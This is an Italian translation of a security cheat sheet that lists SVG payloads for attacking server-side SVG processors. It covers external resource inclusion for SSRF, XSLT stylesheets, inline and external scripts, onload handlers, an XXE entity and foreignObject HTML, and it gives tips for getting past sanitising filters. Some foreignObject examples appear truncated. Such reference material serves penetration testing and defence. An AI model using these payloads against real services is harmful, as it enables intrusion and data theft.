
Un cheat sheet per sfruttare i processori SVG lato server.
Gli host che elaborano SVG possono potenzialmente essere vulnerabili a SSRF, LFI, XSS, RCE a causa del ricco set di funzionalità di SVG.
Tutti questi metodi specificano un URI, che può essere assoluto o relativo. I protocolli file e HTTP sono importanti da testare, ma potrebbe supportare anche altri protocolli a seconda dell'implementazione (ad es. gli schemi stream di PHP), inclusi javascript: e data:.
Questo documento contiene un elenco di tutti i modi che conosco per abusare di questa funzionalità in SVG.
Nota che alcuni servizi che dichiarano di non accettare SVG come formato di input in realtà lo accettano con un po' di persuasione.
file standard non include alcun magic number per SVG, quindi probabilmente dipende dalle singole implementazioni.SVG può includere immagini esterne direttamente tramite il tag <image>.
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
Nota che puoi usarlo per includere anche altre immagini SVG.
<use>SVG può includere contenuto SVG esterno tramite il tag <use>.
file1.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
file2.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<link>SVG può includere fogli di stile esterni tramite il tag <link>, proprio come l'HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
@include<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<?xml-stylesheet?><?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
Gli SVG possono includere fogli di stile XSLT tramite <?xml-stylesheet?>. Sorprendentemente, questo sembra funzionare in Chrome.
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
Nota: a causa della natura di XSLT, l'input non deve necessariamente essere un file SVG valido se l'xml-stylesheet viene ignorato, ma è utile per bypassare i filtri.
Inoltre, poiché non ho alcun interesse nell'imparare XSLT, questo template sostituisce in blocco l'intera immagine "vecchia" con quella nuova.
SVG può includere nativamente JavaScript inline, proprio come HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
SVG può anche includere script esterni.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
SVG può anche avere gestori di eventi inline che vengono eseguiti onload.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
Puoi anche associare gestori ad animazioni e ad altri eventi. Leggi la specifica SVG.
Poiché SVG è XML, può avere anche XXE:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
<foreignObject>Il tag <foreignObject> è pazzesco. Può essere usato per includere (X)HTML arbitrario in un SVG.
Ad esempio, per includere un iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
</foreignObject>
</svg>
Se non hai accesso alla rete (ad es. sandbox) puoi inserire un data URI o un URI javascript come destinazione dell'iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
k
</foreignObject>
</svg>
Se non hai ancora avuto abbastanza SVG, puoi includere altri SVG tramite i tag <object> o <embed>. Penso che probabilmente sia teoricamente possibile inserire anche Flash lì dentro.
Nota anche che, poiché ti trovi in un namespace XML diverso, qualsiasi cosa che rimuoveva solo svg:script potrebbe non aver rimosso html:script (o simile per gli attributi).
È possibile includere font esterni, se mai volessi farlo, penso sia tramite CSS che tramite attributi nativi. Non è comunque molto utile perché i webfont richiedono CORS per qualche motivo che non capisco davvero, legato al DRM per le risorse font per prevenire l'hotlinking. Immagino però che a volte ci siano vulnerabilità nei motori dei font.
Questo esempio tratto dalla specifica SVG mostra l'uso di un nodo tref per referenziare del testo tramite URI, tuttavia non sembra funzionare in nessun visualizzatore che ho provato. Se esiste un'implementazione che lo supporta, potrebbe supportare anche URI esterni per l'href nel tref.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
xmlns="http://www.w3.org/2000/svg" version="1.1"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<text id="ReferencedText">
Referenced character data
</text>
</defs>
<desc>Example tref01 - inline vs reference text content</desc>
<text x="100" y="100" font-size="45" fill="blue" >
Inline character data
</text>
<text x="100" y="200" font-size="45" fill="red" >
<tref xlink:href="#ReferencedText"/>
</text>
<!-- Show outline of canvas using 'rect' element -->
<rect x="1" y="1" width="998" height="298"
fill="none" stroke="blue" stroke-width="2" />
</svg>
Se conosci altri metodi o informazioni/esempi pertinenti, sentiti libero di aprire una issue/PR.
Se hai trovato utile questo contenuto, apprezzerei se me lo facessi sapere! Mi rallegra la giornata.
Copyright 2019 Allan Wirth <[email protected]>.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.